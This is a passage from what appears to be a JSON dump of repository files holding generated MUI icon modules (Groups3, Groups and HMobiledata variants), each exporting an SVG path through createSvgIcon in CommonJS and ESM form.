16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3M1.4968 11 4 8.4968 6.5032 11 4 13.5032zM20 9l-2.5 4h5z\"\n}), 'Groups3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups3.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 13.65c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3M1.4968 11 4 8.4968 6.5032 11 4 13.5032zM20 9l-2.5 4h5z\"\n}), 'Groups3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 13.65c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zm-6.85-1.42C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M1.4968 11 4 8.4968 6.5032 11 4 13.5032zM20 9l-2.5 4h5z\"\n}), 'Groups3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 13.65c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zm-6.85-1.42C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M1.4968 11 4 8.4968 6.5032 11 4 13.5032zM20 9l-2.5 4h5z\"\n}), 'Groups3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 13.65c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V17c0 .55.45 1 1 1h10c.55 0 1-.45 1-1v-.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V17c0 .55.45 1 1 1h3.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H23c.55 0 1-.45 1-1v-.57c0-.81-.48-1.53-1.22-1.85M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3M1.4968 11 4 8.4968 6.5032 11 4 13.5032zM20 9l-2.5 4h5z\"\n}), 'Groups3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 13.65c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V17c0 .55.45 1 1 1h10c.55 0 1-.45 1-1v-.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V17c0 .55.45 1 1 1h3.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H23c.55 0 1-.45 1-1v-.57c0-.81-.48-1.53-1.22-1.85M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3M1.4968 11 4 8.4968 6.5032 11 4 13.5032zM20 9l-2.5 4h5z\"\n}), 'Groups3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 13.65c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3M1.4968 11 4 8.4968 6.5032 11 4 13.5032zM20 9l-2.5 4h5z\"\n}), 'Groups3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 13.65c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74m-15.02.93C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3M1.4968 11 4 8.4968 6.5032 11 4 13.5032zM20 9l-2.5 4h5z\"\n}), 'Groups3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.43 15.48c-1.1-.49-2.26-.73-3.43-.73-1.18 0-2.33.25-3.43.73-.23.1-.4.29-.49.52h7.85c-.1-.23-.27-.42-.5-.52\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 13.65c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zm-6.85-1.42C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M1.4968 11 4 8.4968 6.5032 11 4 13.5032zM20 9l-2.5 4h5z\"\n}, \"2\")], 'Groups3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Groups3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.43 15.48c-1.1-.49-2.26-.73-3.43-.73-1.18 0-2.33.25-3.43.73-.23.1-.4.29-.49.52h7.85c-.1-.23-.27-.42-.5-.52\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 13.65c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.27-.42.49-.52 1.1-.49 2.26-.73 3.43-.73 1.18 0 2.33.25 3.43.73.23.1.4.29.49.52zm-6.85-1.42C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58m21.56 0c-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24v-1.57c0-.81-.48-1.53-1.22-1.85M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M1.4968 11 4 8.4968 6.5032 11 4 13.5032zM20 9l-2.5 4h5z\"\n}, \"2\")], 'Groups3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.13 1.1c-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29M20 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24zm-7.76-2.78c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.13-.39.91-.69.97-.38 1.99-.56 3.02-.56s2.05.18 3.02.56c.77.3.81.46.91.69zM12 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'GroupsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.13 1.1c-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29M20 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24zm-7.76-2.78c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.13-.39.91-.69.97-.38 1.99-.56 3.02-.56s2.05.18 3.02.56c.77.3.81.46.91.69zM12 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'GroupsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12.75c1.63 0 3.07.39 4.24.9 1.08.48 1.76 1.56 1.76 2.73V17c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-.61c0-1.18.68-2.26 1.76-2.73 1.17-.52 2.61-.91 4.24-.91M4 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.13 1.1c-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58C.48 14.9 0 15.62 0 16.43V17c0 .55.45 1 1 1h3.5v-1.61c0-.83.23-1.61.63-2.29M20 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H23c.55 0 1-.45 1-1zM12 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\"\n}), 'GroupsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12.75c1.63 0 3.07.39 4.24.9 1.08.48 1.76 1.56 1.76 2.73V17c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-.61c0-1.18.68-2.26 1.76-2.73 1.17-.52 2.61-.91 4.24-.91M4 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.13 1.1c-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58C.48 14.9 0 15.62 0 16.43V17c0 .55.45 1 1 1h3.5v-1.61c0-.83.23-1.61.63-2.29M20 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H23c.55 0 1-.45 1-1zM12 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\"\n}), 'GroupsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12.75c1.63 0 3.07.39 4.24.9 1.08.48 1.76 1.56 1.76 2.73V18H6v-1.61c0-1.18.68-2.26 1.76-2.73 1.17-.52 2.61-.91 4.24-.91M4 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.13 1.1c-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29M20 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24zM12 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\"\n}), 'GroupsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12.75c1.63 0 3.07.39 4.24.9 1.08.48 1.76 1.56 1.76 2.73V18H6v-1.61c0-1.18.68-2.26 1.76-2.73 1.17-.52 2.61-.91 4.24-.91M4 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.13 1.1c-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29M20 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24zM12 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\"\n}), 'GroupsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.07 16c.09-.23.13-.39.91-.69.97-.38 1.99-.56 3.02-.56s2.05.18 3.02.56c.77.3.81.46.91.69zM12 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.13 1.1c-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29M20 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24zm-7.76-2.78c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.13-.39.91-.69.97-.38 1.99-.56 3.02-.56s2.05.18 3.02.56c.77.3.81.46.91.69zM12 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}, \"1\")], 'GroupsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GroupsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.07 16c.09-.23.13-.39.91-.69.97-.38 1.99-.56 3.02-.56s2.05.18 3.02.56c.77.3.81.46.91.69zM12 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m1.13 1.1c-.37-.06-.74-.1-1.13-.1-.99 0-1.93.21-2.78.58C.48 14.9 0 15.62 0 16.43V18h4.5v-1.61c0-.83.23-1.61.63-2.29M20 13c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58-.39 0-.76.04-1.13.1.4.68.63 1.46.63 2.29V18H24zm-7.76-2.78c-1.17-.52-2.61-.9-4.24-.9s-3.07.39-4.24.9C6.68 14.13 6 15.21 6 16.39V18h12v-1.61c0-1.18-.68-2.26-1.76-2.74M8.07 16c.09-.23.13-.39.91-.69.97-.38 1.99-.56 3.02-.56s2.05.18 3.02.56c.77.3.81.46.91.69zM12 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0-2c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}, \"1\")], 'GroupsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HMobiledata.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11H9V7H7v10h2v-4h6v4h2V7h-2z\"\n}), 'HMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/HMobiledata.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11H9V7H7v10h2v-4h6v4h2V7h-2z\"\n}), 'HMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/HMobiledataOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11H9V7H7v10h2v-4h6v4h2V7h-2z\"\n}), 'HMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HMobiledataOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11H9V7H7v10h2v-4h6v4h2V7h-2z\"\n}), 'HMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HMobiledataRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11H9V8c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1s1-.45 1-1v-3h6v3c0 .55.45 1 1 1s1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'HMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HMobiledataRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11H9V8c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1s1-.45 1-1v-3h6v3c0 .55.45 1 1 1s1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'HMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HMobiledataSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11H9V7H7v10h2v-4h6v4h2V7h-2z\"\n}), 'HMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HMobiledataSharp.mjs",
